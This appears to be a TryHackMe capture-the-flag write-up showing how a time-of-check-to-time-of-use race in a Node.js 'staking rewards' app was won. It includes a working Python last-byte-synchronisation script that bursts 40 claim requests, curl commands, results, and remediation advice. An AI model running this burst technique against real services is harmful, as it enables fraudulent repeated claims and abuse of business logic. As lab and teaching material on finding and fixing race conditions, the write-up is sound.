Skip to main content
TryHackMe ยท Room Writeup

๐Ÿ–๏ธ Towel on the Sunbed

Exploiting a TOCTOU race condition in a crypto "staking rewards" web app to bypass the 24-hour claim cooldown and reach Whale-tier status.
โšก Difficulty: Medium ๐ŸŽฏ Target: Ponzi Portfolio (Node.js / Express) ๐Ÿ› Vuln class: Race Condition (TOCTOU)

Overview

Ponzi Portfolio is a "wellness rewards" crypto dashboard where users can claim 50 PONZI tokens every 24 hours. Reach a balance of 150 PONZI and the Whale Vault unlocks, handing out the room flag. The obvious path โ€” wait 24 hours three times โ€” is not the intended one. The bug is a classic time-of-check-to-time-of-use race condition in the claim endpoint: the server checks "has this user already claimed today?" and then updates the balance as two separate, non-atomic steps. Fire enough requests at the endpoint at almost the exact same instant, and several of them can slip through that check before the first write lands.

Recon

Login page source

The login form posts JSON to /auth/login via /js/auth.js, which is a thin wrapper around fetch() โ€” nothing unusual there, but it confirms the app is a standard session-cookie SPA rather than token-based auth.

Dashboard & client logic

Pulling /js/dashboard.js revealed the real endpoints, since the earlier guesses like /api/claim and /api/rewards/claim all 404'd:

GET  /dashboard/api/me    -> balance, tier, canClaim, secondsUntilClaim
POST /claim               -> claims the daily 50 PONZI reward
GET  /vault                -> returns the flag if balance >= 150

The staking card text spelled out the mechanic directly: "Earn 50 PONZI every 24 hours by claiming your staking reward" and "Reach 150 PONZI to unlock the Whale Vault." A social-media style hint in the room (@0xMia's post: "bro really thinks the clock is the only thing checking him") pointed straight at a server-side check that isn't as solid as the countdown timer implies.

Setting Up an Account

curl -s -i -X POST http://<TARGET>:3000/auth/register \
  -H "Content-Type: application/json" \
  -d '{"username":"whale2","password":"whale2pass"}'

curl -s -i -X POST http://<TARGET>:3000/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username":"whale2","password":"whale2pass"}'

The login response's Set-Cookie header hands back a standard Express connect.sid session cookie:

Set-Cookie: connect.sid=s%3A8pWreelQ...; Path=/; HttpOnly
Gotcha

Testing against a bare IP (rather than a domain name) with Python's aiohttp can silently drop cookies unless the cookie jar is created with unsafe=True. This cost a couple of failed attempts before switching to a raw-socket approach avoided the issue entirely.

First Attempt: Concurrent HTTP Requests (async)

A first pass fired 30 concurrent POST /claim requests using Python's asyncio + aiohttp. This confirmed the account and session were working, but only 1 of 30 requests succeeded โ€” the rest came back 429 Too Many Requests with "Reward already claimed." High-level async concurrency wasn't tight enough: connection setup, DNS, and event-loop scheduling stagger the requests by milliseconds, which is more than enough time for the server to process the first write before the next request's check runs.

Winning Attempt: Last-Byte Synchronization

To land requests within microseconds of one another instead of milliseconds, the trick is to open all the TCP connections ahead of time, send every byte of each HTTP request except the final byte, and then release that final byte across every open socket back-to-back in a tight loop. This is the same idea behind Burp Suite's "single-packet attack" / "last-byte sync" race condition technique.

import socket, threading, time

HOST, PORT = "<TARGET>", 3000
COOKIE = "connect.sid=<fresh session cookie>"
N = 40

def build_request():
    body = ""
    return (
        f"POST /claim HTTP/1.1\r\n"
        f"Host: {HOST}:{PORT}\r\n"
        f"Cookie: {COOKIE}\r\n"
        f"Content-Length: {len(body)}\r\n"
        f"Connection: close\r\n"
        f"\r\n{body}"
    ).encode()

sockets, requests = [], []
for i in range(N):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST, PORT))
    req = build_request()
    s.sendall(req[:-1])       # hold back the last byte
    sockets.append(s); requests.append(req)

time.sleep(0.2)               # let all connections settle

def fire(s, last_byte):
    s.sendall(last_byte)

threads = [threading.Thread(target=fire, args=(s, req[-1:]))
           for s, req in zip(sockets, requests)]
for t in threads: t.start()
for t in threads: t.join()     # released almost simultaneously

for i, s in enumerate(sockets):
    resp = b""
    while chunk := s.recv(4096):
        resp += chunk
    print(i, resp.decode(errors="replace")[:200])
    s.close()

Results

Running the burst against a freshly registered, unclaimed account produced:

Request #StatusOutcome
0200Claimed +50 PONZI
1200Claimed +50 PONZI
2200Claimed +50 PONZI
3200Claimed +50 PONZI
4200Claimed +50 PONZI
5200Claimed +50 PONZI
7200Claimed +50 PONZI
6, 8โ€“39429Reward already claimed
Race won

7 out of 40 requests landed inside the check-then-write window, each granting +50 PONZI โ€” 350 PONZI total, well past the 150 threshold needed to unlock the vault.

Claiming the Vault

curl -s -b "connect.sid=<same session cookie>" http://<TARGET>:3000/vault

With balance โ‰ฅ 150, the vault endpoint returns the flag instead of the access-denied error:

THM{flag_redacted_in_writeup}

Root Cause

The /claim handler almost certainly followed this non-atomic pattern:

  1. Read the user's lastClaimedAt timestamp from the database.
  2. Compare it against "now" to decide if 24 hours have passed.
  3. If eligible, add 50 PONZI to the balance and then write a new lastClaimedAt.

Because steps 1โ€“3 aren't wrapped in a single atomic transaction or protected by a row-level lock, multiple requests arriving close enough together all read the same "not yet claimed" state in step 1 before any of them finish step 3. Each one then proceeds to credit the reward independently.

Remediation

  • Wrap the check-and-update in a single atomic database transaction (e.g. SELECT ... FOR UPDATE, or a conditional update such as UPDATE users SET balance = balance + 50, last_claimed_at = NOW() WHERE id = ? AND last_claimed_at < NOW() - INTERVAL '24 hours' and checking the affected row count).
  • Use a distributed lock or mutex keyed on the user ID for the duration of the claim operation.
  • Add idempotency protection (e.g. a unique constraint on "claims per user per day") so duplicate claims fail at the database layer even if the application logic races.
  • Rate-limit the endpoint per session/IP as defense-in-depth (though this alone doesn't fix the underlying atomicity bug).

Key Takeaways

  • Client-side countdown timers and disabled buttons are cosmetic โ€” they say nothing about server-side enforcement.
  • High-level async HTTP clients (aiohttp, requests, JS fetch loops) are often not fast enough to reliably win a tight race condition; requests still get staggered by connection setup and scheduling.
  • The "last-byte sync" raw-socket technique โ€” open all connections, hold back the final byte, then release simultaneously โ€” is the reliable way to land near-identical timestamps at the server, and turned a 1/30 hit rate into a 7/40 hit rate here.
  • Always dig into the actual client-side JS bundle rather than guessing REST conventions for endpoint names โ€” /claim and /vault were nothing like the /api/rewards/claim-style guesses that kept 404ing.

Room: Towel on the Sunbed ยท TryHackMe ยท Difficulty: Medium ยท Vulnerability class: Race Condition (CWE-362)